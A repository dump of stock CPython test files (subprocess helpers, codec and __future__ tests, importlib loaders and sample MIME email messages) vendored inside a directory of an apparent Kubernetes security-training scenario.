https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/sndhdrdata/sndhdr.hcom -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/sndhdrdata/sndhdr.sndt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/sndhdrdata/sndhdr.sndt -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/sndhdrdata/sndhdr.voc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/sndhdrdata/sndhdr.voc -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/sndhdrdata/sndhdr.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/sndhdrdata/sndhdr.wav -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/subprocessdata/input_reader.py: -------------------------------------------------------------------------------- 1 | """When called as a script, consumes the input""" 2 | 3 | import sys 4 | 5 | if __name__ == "__main__": 6 | for line in sys.stdin: 7 | pass 8 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/subprocessdata/qcat.py: -------------------------------------------------------------------------------- 1 | """When ran as a script, simulates cat with no arguments.""" 2 | 3 | import sys 4 | 5 | if __name__ == "__main__": 6 | for line in sys.stdin: 7 | sys.stdout.write(line) 8 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/subprocessdata/qgrep.py: -------------------------------------------------------------------------------- 1 | """When called with a single argument, simulated fgrep with a single 2 | argument and no options.""" 3 | 4 | import sys 5 | 6 | if __name__ == "__main__": 7 | pattern = sys.argv[1] 8 | for line in sys.stdin: 9 | if pattern in line: 10 | sys.stdout.write(line) 11 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/subprocessdata/sigchild_ignore.py: -------------------------------------------------------------------------------- 1 | import signal, subprocess, sys, time 2 | # On Linux this causes os.waitpid to fail with OSError as the OS has already 3 | # reaped our child process. The wait() passing the OSError on to the caller 4 | # and causing us to exit with an error is what we are testing against. 5 | signal.signal(signal.SIGCHLD, signal.SIG_IGN) 6 | subprocess.Popen([sys.executable, '-c', 'print("albatross")']).wait() 7 | # Also ensure poll() handles an errno.ECHILD appropriately. 8 | p = subprocess.Popen([sys.executable, '-c', 'print("albatross")']) 9 | num_polls = 0 10 | while p.poll() is None: 11 | # Waiting for the process to finish. 12 | time.sleep(0.01) # Avoid being a CPU busy loop. 13 | num_polls += 1 14 | if num_polls > 3000: 15 | raise RuntimeError('poll should have returned 0 within 30 seconds') 16 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_codecencodings_hk.py: -------------------------------------------------------------------------------- 1 | # 2 | # test_codecencodings_hk.py 3 | # Codec encoding tests for HongKong encodings. 4 | # 5 | 6 | from test import multibytecodec_support 7 | import unittest 8 | 9 | class Test_Big5HKSCS(multibytecodec_support.TestBase, unittest.TestCase): 10 | encoding = 'big5hkscs' 11 | tstring = multibytecodec_support.load_teststring('big5hkscs') 12 | codectests = ( 13 | # invalid bytes 14 | (b"abc\x80\x80\xc1\xc4", "strict", None), 15 | (b"abc\xc8", "strict", None), 16 | (b"abc\x80\x80\xc1\xc4", "replace", "abc\ufffd\ufffd\u8b10"), 17 | (b"abc\x80\x80\xc1\xc4\xc8", "replace", "abc\ufffd\ufffd\u8b10\ufffd"), 18 | (b"abc\x80\x80\xc1\xc4", "ignore", "abc\u8b10"), 19 | ) 20 | 21 | if __name__ == "__main__": 22 | unittest.main() 23 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_codecencodings_tw.py: -------------------------------------------------------------------------------- 1 | # 2 | # test_codecencodings_tw.py 3 | # Codec encoding tests for ROC encodings. 4 | # 5 | 6 | from test import multibytecodec_support 7 | import unittest 8 | 9 | class Test_Big5(multibytecodec_support.TestBase, unittest.TestCase): 10 | encoding = 'big5' 11 | tstring = multibytecodec_support.load_teststring('big5') 12 | codectests = ( 13 | # invalid bytes 14 | (b"abc\x80\x80\xc1\xc4", "strict", None), 15 | (b"abc\xc8", "strict", None), 16 | (b"abc\x80\x80\xc1\xc4", "replace", "abc\ufffd\ufffd\u8b10"), 17 | (b"abc\x80\x80\xc1\xc4\xc8", "replace", "abc\ufffd\ufffd\u8b10\ufffd"), 18 | (b"abc\x80\x80\xc1\xc4", "ignore", "abc\u8b10"), 19 | ) 20 | 21 | if __name__ == "__main__": 22 | unittest.main() 23 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_codecmaps_cn.py: -------------------------------------------------------------------------------- 1 | # 2 | # test_codecmaps_cn.py 3 | # Codec mapping tests for PRC encodings 4 | # 5 | 6 | from test import multibytecodec_support 7 | import unittest 8 | 9 | class TestGB2312Map(multibytecodec_support.TestBase_Mapping, 10 | unittest.TestCase): 11 | encoding = 'gb2312' 12 | mapfileurl = 'http://www.pythontest.net/unicode/EUC-CN.TXT' 13 | 14 | class TestGBKMap(multibytecodec_support.TestBase_Mapping, 15 | unittest.TestCase): 16 | encoding = 'gbk' 17 | mapfileurl = 'http://www.pythontest.net/unicode/CP936.TXT' 18 | 19 | class TestGB18030Map(multibytecodec_support.TestBase_Mapping, 20 | unittest.TestCase): 21 | encoding = 'gb18030' 22 | mapfileurl = 'http://www.pythontest.net/unicode/gb-18030-2000.xml' 23 | 24 | 25 | if __name__ == "__main__": 26 | unittest.main() 27 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_codecmaps_hk.py: -------------------------------------------------------------------------------- 1 | # 2 | # test_codecmaps_hk.py 3 | # Codec mapping tests for HongKong encodings 4 | # 5 | 6 | from test import multibytecodec_support 7 | import unittest 8 | 9 | class TestBig5HKSCSMap(multibytecodec_support.TestBase_Mapping, 10 | unittest.TestCase): 11 | encoding = 'big5hkscs' 12 | mapfileurl = 'http://www.pythontest.net/unicode/BIG5HKSCS-2004.TXT' 13 | 14 | if __name__ == "__main__": 15 | unittest.main() 16 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_codecmaps_tw.py: -------------------------------------------------------------------------------- 1 | # 2 | # test_codecmaps_tw.py 3 | # Codec mapping tests for ROC encodings 4 | # 5 | 6 | from test import multibytecodec_support 7 | import unittest 8 | 9 | class TestBIG5Map(multibytecodec_support.TestBase_Mapping, 10 | unittest.TestCase): 11 | encoding = 'big5' 12 | mapfileurl = 'http://www.pythontest.net/unicode/BIG5.TXT' 13 | 14 | class TestCP950Map(multibytecodec_support.TestBase_Mapping, 15 | unittest.TestCase): 16 | encoding = 'cp950' 17 | mapfileurl = 'http://www.pythontest.net/unicode/CP950.TXT' 18 | pass_enctest = [ 19 | (b'\xa2\xcc', '\u5341'), 20 | (b'\xa2\xce', '\u5345'), 21 | ] 22 | codectests = ( 23 | (b"\xFFxy", "replace", "\ufffdxy"), 24 | ) 25 | 26 | if __name__ == "__main__": 27 | unittest.main() 28 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_ctypes.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | from test.support.import_helper import import_module 3 | 4 | 5 | ctypes_test = import_module('ctypes.test') 6 | 7 | load_tests = ctypes_test.load_tests 8 | 9 | if __name__ == "__main__": 10 | unittest.main() 11 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_distutils.py: -------------------------------------------------------------------------------- 1 | """Tests for distutils. 2 | 3 | The tests for distutils are defined in the distutils.tests package; 4 | the test_suite() function there returns a test suite that's ready to 5 | be run. 6 | """ 7 | 8 | import unittest 9 | from test import support 10 | from test.support import warnings_helper 11 | 12 | with warnings_helper.check_warnings( 13 | ("The distutils package is deprecated", DeprecationWarning), quiet=True): 14 | 15 | import distutils.tests 16 | 17 | 18 | def load_tests(*_): 19 | # used by unittest 20 | return distutils.tests.test_suite() 21 | 22 | 23 | def tearDownModule(): 24 | support.reap_children() 25 | 26 | if support.check_sanitizer(address=True): 27 | raise unittest.SkipTest("Exposes ASAN flakiness in GitHub CI") 28 | 29 | if __name__ == "__main__": 30 | unittest.main() 31 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/__main__.py: -------------------------------------------------------------------------------- 1 | from test.test_email import load_tests 2 | import unittest 3 | 4 | unittest.main() 5 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/PyBanner048.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/PyBanner048.gif -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/audiotest.au: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/audiotest.au -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/msg_01.txt: -------------------------------------------------------------------------------- 1 | Return-Path: 2 | Delivered-To: bbb@zzz.org 3 | Received: by mail.zzz.org (Postfix, from userid 889) 4 | id 27CEAD38CC; Fri, 4 May 2001 14:05:44 -0400 (EDT) 5 | MIME-Version: 1.0 6 | Content-Type: text/plain; charset=us-ascii 7 | Content-Transfer-Encoding: 7bit 8 | Message-ID: <15090.61304.110929.45684@aaa.zzz.org> 9 | From: bbb@ddd.com (John X. Doe) 10 | To: bbb@zzz.org 11 | Subject: This is a test message 12 | Date: Fri, 4 May 2001 14:05:44 -0400 13 | 14 | 15 | Hi, 16 | 17 | Do you like this message? 18 | 19 | -Me 20 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/msg_03.txt: -------------------------------------------------------------------------------- 1 | Return-Path: 2 | Delivered-To: bbb@zzz.org 3 | Received: by mail.zzz.org (Postfix, from userid 889) 4 | id 27CEAD38CC; Fri, 4 May 2001 14:05:44 -0400 (EDT) 5 | Message-ID: <15090.61304.110929.45684@aaa.zzz.org> 6 | From: bbb@ddd.com (John X. Doe) 7 | To: bbb@zzz.org 8 | Subject: This is a test message 9 | Date: Fri, 4 May 2001 14:05:44 -0400 10 | 11 | 12 | Hi, 13 | 14 | Do you like this message? 15 | 16 | -Me 17 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/msg_05.txt: -------------------------------------------------------------------------------- 1 | From: foo 2 | Subject: bar 3 | To: baz 4 | MIME-Version: 1.0 5 | Content-Type: multipart/report; report-type=delivery-status; 6 | boundary="D1690A7AC1.996856090/mail.example.com" 7 | Message-Id: <20010803162810.0CA8AA7ACC@mail.example.com> 8 | 9 | This is a MIME-encapsulated message. 10 | 11 | --D1690A7AC1.996856090/mail.example.com 12 | Content-Type: text/plain 13 | 14 | Yadda yadda yadda 15 | 16 | --D1690A7AC1.996856090/mail.example.com 17 | 18 | Yadda yadda yadda 19 | 20 | --D1690A7AC1.996856090/mail.example.com 21 | Content-Type: message/rfc822 22 | 23 | From: nobody@python.org 24 | 25 | Yadda yadda yadda 26 | 27 | --D1690A7AC1.996856090/mail.example.com-- 28 | 29 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/msg_08.txt: -------------------------------------------------------------------------------- 1 | MIME-Version: 1.0 2 | From: Barry Warsaw 3 | To: Dingus Lovers 4 | Subject: Lyrics 5 | Date: Fri, 20 Apr 2001 19:35:02 -0400 6 | Content-Type: multipart/mixed; boundary="BOUNDARY" 7 | 8 | --BOUNDARY 9 | Content-Type: text/plain; charset="us-ascii" 10 | 11 | 12 | --BOUNDARY 13 | Content-Type: text/html; charset="iso-8859-1" 14 | 15 | 16 | --BOUNDARY 17 | Content-Type: text/plain; charset="iso-8859-2" 18 | 19 | 20 | --BOUNDARY 21 | Content-Type: text/plain; charset="koi8-r" 22 | 23 | 24 | --BOUNDARY-- 25 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/msg_09.txt: -------------------------------------------------------------------------------- 1 | MIME-Version: 1.0 2 | From: Barry Warsaw 3 | To: Dingus Lovers 4 | Subject: Lyrics 5 | Date: Fri, 20 Apr 2001 19:35:02 -0400 6 | Content-Type: multipart/mixed; boundary="BOUNDARY" 7 | 8 | --BOUNDARY 9 | Content-Type: text/plain; charset="us-ascii" 10 | 11 | 12 | --BOUNDARY 13 | Content-Type: text/html; charset="iso-8859-1" 14 | 15 | 16 | --BOUNDARY 17 | Content-Type: text/plain 18 | 19 | 20 | --BOUNDARY 21 | Content-Type: text/plain; charset="koi8-r" 22 | 23 | 24 | --BOUNDARY-- 25 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/msg_11.txt: -------------------------------------------------------------------------------- 1 | Content-Type: message/rfc822 2 | MIME-Version: 1.0 3 | Subject: The enclosing message 4 | 5 | Subject: An enclosed message 6 | 7 | Here is the body of the message. 8 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/msg_12.txt: -------------------------------------------------------------------------------- 1 | MIME-Version: 1.0 2 | From: Barry Warsaw 3 | To: Dingus Lovers 4 | Subject: Lyrics 5 | Date: Fri, 20 Apr 2001 19:35:02 -0400 6 | Content-Type: multipart/mixed; boundary="BOUNDARY" 7 | 8 | --BOUNDARY 9 | Content-Type: text/plain; charset="us-ascii" 10 | 11 | 12 | --BOUNDARY 13 | Content-Type: text/html; charset="iso-8859-1" 14 | 15 | 16 | --BOUNDARY 17 | Content-Type: multipart/mixed; boundary="ANOTHER" 18 | 19 | --ANOTHER 20 | Content-Type: text/plain; charset="iso-8859-2" 21 | 22 | 23 | --ANOTHER 24 | Content-Type: text/plain; charset="iso-8859-3" 25 | 26 | --ANOTHER-- 27 | 28 | --BOUNDARY 29 | Content-Type: text/plain; charset="us-ascii" 30 | 31 | 32 | --BOUNDARY 33 | Content-Type: text/plain; charset="koi8-r" 34 | 35 | 36 | --BOUNDARY-- 37 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/msg_12a.txt: -------------------------------------------------------------------------------- 1 | MIME-Version: 1.0 2 | From: Barry Warsaw 3 | To: Dingus Lovers 4 | Subject: Lyrics 5 | Date: Fri, 20 Apr 2001 19:35:02 -0400 6 | Content-Type: multipart/mixed; boundary="BOUNDARY" 7 | 8 | --BOUNDARY 9 | Content-Type: text/plain; charset="us-ascii" 10 | 11 | 12 | --BOUNDARY 13 | Content-Type: text/html; charset="iso-8859-1" 14 | 15 | 16 | --BOUNDARY 17 | Content-Type: multipart/mixed; boundary="ANOTHER" 18 | 19 | --ANOTHER 20 | Content-Type: text/plain; charset="iso-8859-2" 21 | 22 | 23 | --ANOTHER 24 | Content-Type: text/plain; charset="iso-8859-3" 25 | 26 | 27 | --ANOTHER-- 28 | 29 | 30 | --BOUNDARY 31 | Content-Type: text/plain; charset="us-ascii" 32 | 33 | 34 | --BOUNDARY 35 | Content-Type: text/plain; charset="koi8-r" 36 | 37 | 38 | --BOUNDARY-- 39 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/msg_14.txt: -------------------------------------------------------------------------------- 1 | Return-Path: 2 | Delivered-To: bbb@zzz.org 3 | Received: by mail.zzz.org (Postfix, from userid 889) 4 | id 27CEAD38CC; Fri, 4 May 2001 14:05:44 -0400 (EDT) 5 | MIME-Version: 1.0 6 | Content-Type: text; charset=us-ascii 7 | Content-Transfer-Encoding: 7bit 8 | Message-ID: <15090.61304.110929.45684@aaa.zzz.org> 9 | From: bbb@ddd.com (John X. Doe) 10 | To: bbb@zzz.org 11 | Subject: This is a test message 12 | Date: Fri, 4 May 2001 14:05:44 -0400 13 | 14 | 15 | Hi, 16 | 17 | I'm sorry but I'm using a drainbread ISP, which although big and 18 | wealthy can't seem to generate standard compliant email. :( 19 | 20 | This message has a Content-Type: header with no subtype. I hope you 21 | can still read it. 22 | 23 | -Me 24 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/msg_17.txt: -------------------------------------------------------------------------------- 1 | MIME-Version: 1.0 2 | From: Barry 3 | To: Dingus Lovers 4 | Subject: Here is your dingus fish 5 | Date: Fri, 20 Apr 2001 19:35:02 -0400 6 | Content-Type: multipart/mixed; boundary="BOUNDARY" 7 | 8 | Hi there, 9 | 10 | This is the dingus fish. 11 | 12 | [Non-text (image/gif) part of message omitted, filename dingusfish.gif] 13 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/msg_18.txt: -------------------------------------------------------------------------------- 1 | Content-Type: text/plain; charset="us-ascii" 2 | MIME-Version: 1.0 3 | Content-Transfer-Encoding: 7bit 4 | X-Foobar-Spoink-Defrobnit: wasnipoop; giraffes="very-long-necked-animals"; 5 | spooge="yummy"; hippos="gargantuan"; marshmallows="gooey" 6 | 7 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/msg_20.txt: -------------------------------------------------------------------------------- 1 | Return-Path: 2 | Delivered-To: bbb@zzz.org 3 | Received: by mail.zzz.org (Postfix, from userid 889) 4 | id 27CEAD38CC; Fri, 4 May 2001 14:05:44 -0400 (EDT) 5 | MIME-Version: 1.0 6 | Content-Type: text/plain; charset=us-ascii 7 | Content-Transfer-Encoding: 7bit 8 | Message-ID: <15090.61304.110929.45684@aaa.zzz.org> 9 | From: bbb@ddd.com (John X. Doe) 10 | To: bbb@zzz.org 11 | Cc: ccc@zzz.org 12 | CC: ddd@zzz.org 13 | cc: eee@zzz.org 14 | Subject: This is a test message 15 | Date: Fri, 4 May 2001 14:05:44 -0400 16 | 17 | 18 | Hi, 19 | 20 | Do you like this message? 21 | 22 | -Me 23 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/msg_21.txt: -------------------------------------------------------------------------------- 1 | From: aperson@dom.ain 2 | To: bperson@dom.ain 3 | Subject: Test 4 | Content-Type: multipart/mixed; boundary="BOUNDARY" 5 | 6 | MIME message 7 | --BOUNDARY 8 | Content-Type: text/plain; charset="us-ascii" 9 | MIME-Version: 1.0 10 | Content-Transfer-Encoding: 7bit 11 | 12 | One 13 | --BOUNDARY 14 | Content-Type: text/plain; charset="us-ascii" 15 | MIME-Version: 1.0 16 | Content-Transfer-Encoding: 7bit 17 | 18 | Two 19 | --BOUNDARY-- 20 | End of MIME message 21 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/msg_23.txt: -------------------------------------------------------------------------------- 1 | From: aperson@dom.ain 2 | Content-Type: multipart/mixed; boundary="BOUNDARY" 3 | 4 | --BOUNDARY 5 | Content-Type: text/plain 6 | 7 | A message part 8 | --BOUNDARY-- 9 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/msg_24.txt: -------------------------------------------------------------------------------- 1 | Content-Type: multipart/mixed; boundary="BOUNDARY" 2 | MIME-Version: 1.0 3 | Subject: A subject 4 | To: aperson@dom.ain 5 | From: bperson@dom.ain 6 | 7 | --BOUNDARY 8 | 9 | 10 | --BOUNDARY-- 11 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/msg_27.txt: -------------------------------------------------------------------------------- 1 | Return-Path: 2 | Received: by mail.dom.ain (Postfix, from userid 889) 3 | id B9D0AD35DB; Tue, 4 Jun 2002 21:46:59 -0400 (EDT) 4 | Message-ID: <15613.28051.707126.569693@dom.ain> 5 | Date: Tue, 4 Jun 2002 21:46:59 -0400 6 | MIME-Version: 1.0 7 | Content-Type: text/plain; charset=us-ascii 8 | Content-Transfer-Encoding: 7bit 9 | Subject: bug demonstration 10 | 12345678911234567892123456789312345678941234567895123456789612345678971234567898112345678911234567892123456789112345678911234567892123456789 11 | more text 12 | From: aperson@dom.ain (Anne P. Erson) 13 | To: bperson@dom.ain (Barney P. Erson) 14 | 15 | test 16 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/msg_28.txt: -------------------------------------------------------------------------------- 1 | From: aperson@dom.ain 2 | MIME-Version: 1.0 3 | Content-Type: multipart/digest; boundary=BOUNDARY 4 | 5 | --BOUNDARY 6 | Content-Type: message/rfc822 7 | 8 | Content-Type: text/plain; charset=us-ascii 9 | To: aa@bb.org 10 | From: cc@dd.org 11 | Subject: ee 12 | 13 | message 1 14 | 15 | --BOUNDARY 16 | Content-Type: message/rfc822 17 | 18 | Content-Type: text/plain; charset=us-ascii 19 | To: aa@bb.org 20 | From: cc@dd.org 21 | Subject: ee 22 | 23 | message 2 24 | 25 | --BOUNDARY-- 26 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/msg_29.txt: -------------------------------------------------------------------------------- 1 | Return-Path: 2 | Delivered-To: bbb@zzz.org 3 | Received: by mail.zzz.org (Postfix, from userid 889) 4 | id 27CEAD38CC; Fri, 4 May 2001 14:05:44 -0400 (EDT) 5 | MIME-Version: 1.0 6 | Content-Type: text/plain; charset=us-ascii; 7 | title*0*="us-ascii'en'This%20is%20even%20more%20"; 8 | title*1*="%2A%2A%2Afun%2A%2A%2A%20"; 9 | title*2="isn't it!" 10 | Content-Transfer-Encoding: 7bit 11 | Message-ID: <15090.61304.110929.45684@aaa.zzz.org> 12 | From: bbb@ddd.com (John X. Doe) 13 | To: bbb@zzz.org 14 | Subject: This is a test message 15 | Date: Fri, 4 May 2001 14:05:44 -0400 16 | 17 | 18 | Hi, 19 | 20 | Do you like this message? 21 | 22 | -Me 23 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/msg_30.txt: -------------------------------------------------------------------------------- 1 | From: aperson@dom.ain 2 | MIME-Version: 1.0 3 | Content-Type: multipart/digest; boundary=BOUNDARY 4 | 5 | --BOUNDARY 6 | 7 | Content-Type: text/plain; charset=us-ascii 8 | To: aa@bb.org 9 | From: cc@dd.org 10 | Subject: ee 11 | 12 | message 1 13 | 14 | --BOUNDARY 15 | 16 | Content-Type: text/plain; charset=us-ascii 17 | To: aa@bb.org 18 | From: cc@dd.org 19 | Subject: ee 20 | 21 | message 2 22 | 23 | --BOUNDARY-- 24 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/msg_31.txt: -------------------------------------------------------------------------------- 1 | From: aperson@dom.ain 2 | MIME-Version: 1.0 3 | Content-Type: multipart/mixed; boundary=BOUNDARY_ 4 | 5 | --BOUNDARY 6 | Content-Type: text/plain 7 | 8 | message 1 9 | 10 | --BOUNDARY 11 | Content-Type: text/plain 12 | 13 | message 2 14 | 15 | --BOUNDARY-- 16 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/msg_32.txt: -------------------------------------------------------------------------------- 1 | Delivered-To: freebsd-isp@freebsd.org 2 | Date: Tue, 26 Sep 2000 12:23:03 -0500 3 | From: Anne Person 4 | To: Barney Dude 5 | Subject: Re: Limiting Perl CPU Utilization... 6 | Mime-Version: 1.0 7 | Content-Type: text/plain; charset*=ansi-x3.4-1968''us-ascii 8 | Content-Disposition: inline 9 | User-Agent: Mutt/1.3.8i 10 | Sender: owner-freebsd-isp@FreeBSD.ORG 11 | Precedence: bulk 12 | X-Loop: FreeBSD.org 13 | 14 | Some message. 15 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/msg_34.txt: -------------------------------------------------------------------------------- 1 | From: aperson@dom.ain 2 | To: bperson@dom.ain 3 | Content-Type: multipart/digest; boundary=XYZ 4 | 5 | --XYZ 6 | Content-Type: text/plain 7 | 8 | 9 | This is a text plain part that is counter to recommended practice in 10 | RFC 2046, $5.1.5, but is not illegal 11 | 12 | --XYZ 13 | 14 | From: cperson@dom.ain 15 | To: dperson@dom.ain 16 | 17 | A submessage 18 | 19 | --XYZ-- 20 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/msg_35.txt: -------------------------------------------------------------------------------- 1 | From: aperson@dom.ain 2 | To: bperson@dom.ain 3 | Subject: here's something interesting 4 | counter to RFC 2822, there's no separating newline here 5 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/msg_37.txt: -------------------------------------------------------------------------------- 1 | Content-Type: multipart/mixed; boundary=ABCDE 2 | 3 | --ABCDE 4 | Content-Type: text/x-one 5 | 6 | Blah 7 | 8 | --ABCDE 9 | --ABCDE 10 | Content-Type: text/x-two 11 | 12 | Blah 13 | 14 | --ABCDE 15 | --ABCDE 16 | --ABCDE 17 | --ABCDE 18 | Content-Type: text/x-two 19 | 20 | Blah 21 | 22 | --ABCDE-- 23 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/msg_40.txt: -------------------------------------------------------------------------------- 1 | MIME-Version: 1.0 2 | Content-Type: text/html; boundary="--961284236552522269" 3 | 4 | ----961284236552522269 5 | Content-Type: text/html; 6 | Content-Transfer-Encoding: 7Bit 7 | 8 | 9 | 10 | ----961284236552522269-- 11 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/msg_41.txt: -------------------------------------------------------------------------------- 1 | From: "Allison Dunlap" 2 | To: yyy@example.com 3 | Subject: 64423 4 | Date: Sun, 11 Jul 2004 16:09:27 -0300 5 | MIME-Version: 1.0 6 | Content-Type: multipart/alternative; 7 | 8 | Blah blah blah 9 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_email/data/msg_42.txt: -------------------------------------------------------------------------------- 1 | Content-Type: multipart/mixed; boundary="AAA" 2 | From: Mail Delivery Subsystem 3 | To: yyy@example.com 4 | 5 | This is a MIME-encapsulated message 6 | 7 | --AAA 8 | 9 | Stuff 10 | 11 | --AAA 12 | Content-Type: message/rfc822 13 | 14 | From: webmaster@python.org 15 | To: zzz@example.com 16 | Content-Type: multipart/mixed; boundary="BBB" 17 | 18 | --BBB-- 19 | 20 | --AAA-- 21 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_future3.py: -------------------------------------------------------------------------------- 1 | from __future__ import nested_scopes 2 | from __future__ import division 3 | 4 | import unittest 5 | 6 | x = 2 7 | def nester(): 8 | x = 3 9 | def inner(): 10 | return x 11 | return inner() 12 | 13 | 14 | class TestFuture(unittest.TestCase): 15 | 16 | def test_floor_div_operator(self): 17 | self.assertEqual(7 // 2, 3) 18 | 19 | def test_true_div_as_default(self): 20 | self.assertAlmostEqual(7 / 2, 3.5) 21 | 22 | def test_nested_scopes(self): 23 | self.assertEqual(nester(), 3) 24 | 25 | if __name__ == "__main__": 26 | unittest.main() 27 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_future4.py: -------------------------------------------------------------------------------- 1 | from __future__ import unicode_literals 2 | import unittest 3 | 4 | 5 | class Tests(unittest.TestCase): 6 | def test_unicode_literals(self): 7 | self.assertIsInstance("literal", str) 8 | 9 | 10 | if __name__ == "__main__": 11 | unittest.main() 12 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_future5.py: -------------------------------------------------------------------------------- 1 | # Check that multiple features can be enabled. 2 | from __future__ import unicode_literals, print_function 3 | 4 | import sys 5 | import unittest 6 | from test import support 7 | 8 | 9 | class TestMultipleFeatures(unittest.TestCase): 10 | 11 | def test_unicode_literals(self): 12 | self.assertIsInstance("", str) 13 | 14 | def test_print_function(self): 15 | with support.captured_output("stderr") as s: 16 | print("foo", file=sys.stderr) 17 | self.assertEqual(s.getvalue(), "foo\n") 18 | 19 | 20 | if __name__ == '__main__': 21 | unittest.main() 22 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_importlib/__init__.py: -------------------------------------------------------------------------------- 1 | import os 2 | from test.support import load_package_tests 3 | 4 | def load_tests(*args): 5 | return load_package_tests(os.path.dirname(__file__), *args) 6 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_importlib/__main__.py: -------------------------------------------------------------------------------- 1 | from . import load_tests 2 | import unittest 3 | 4 | unittest.main() 5 | -------------------------------------------------------------------------------- 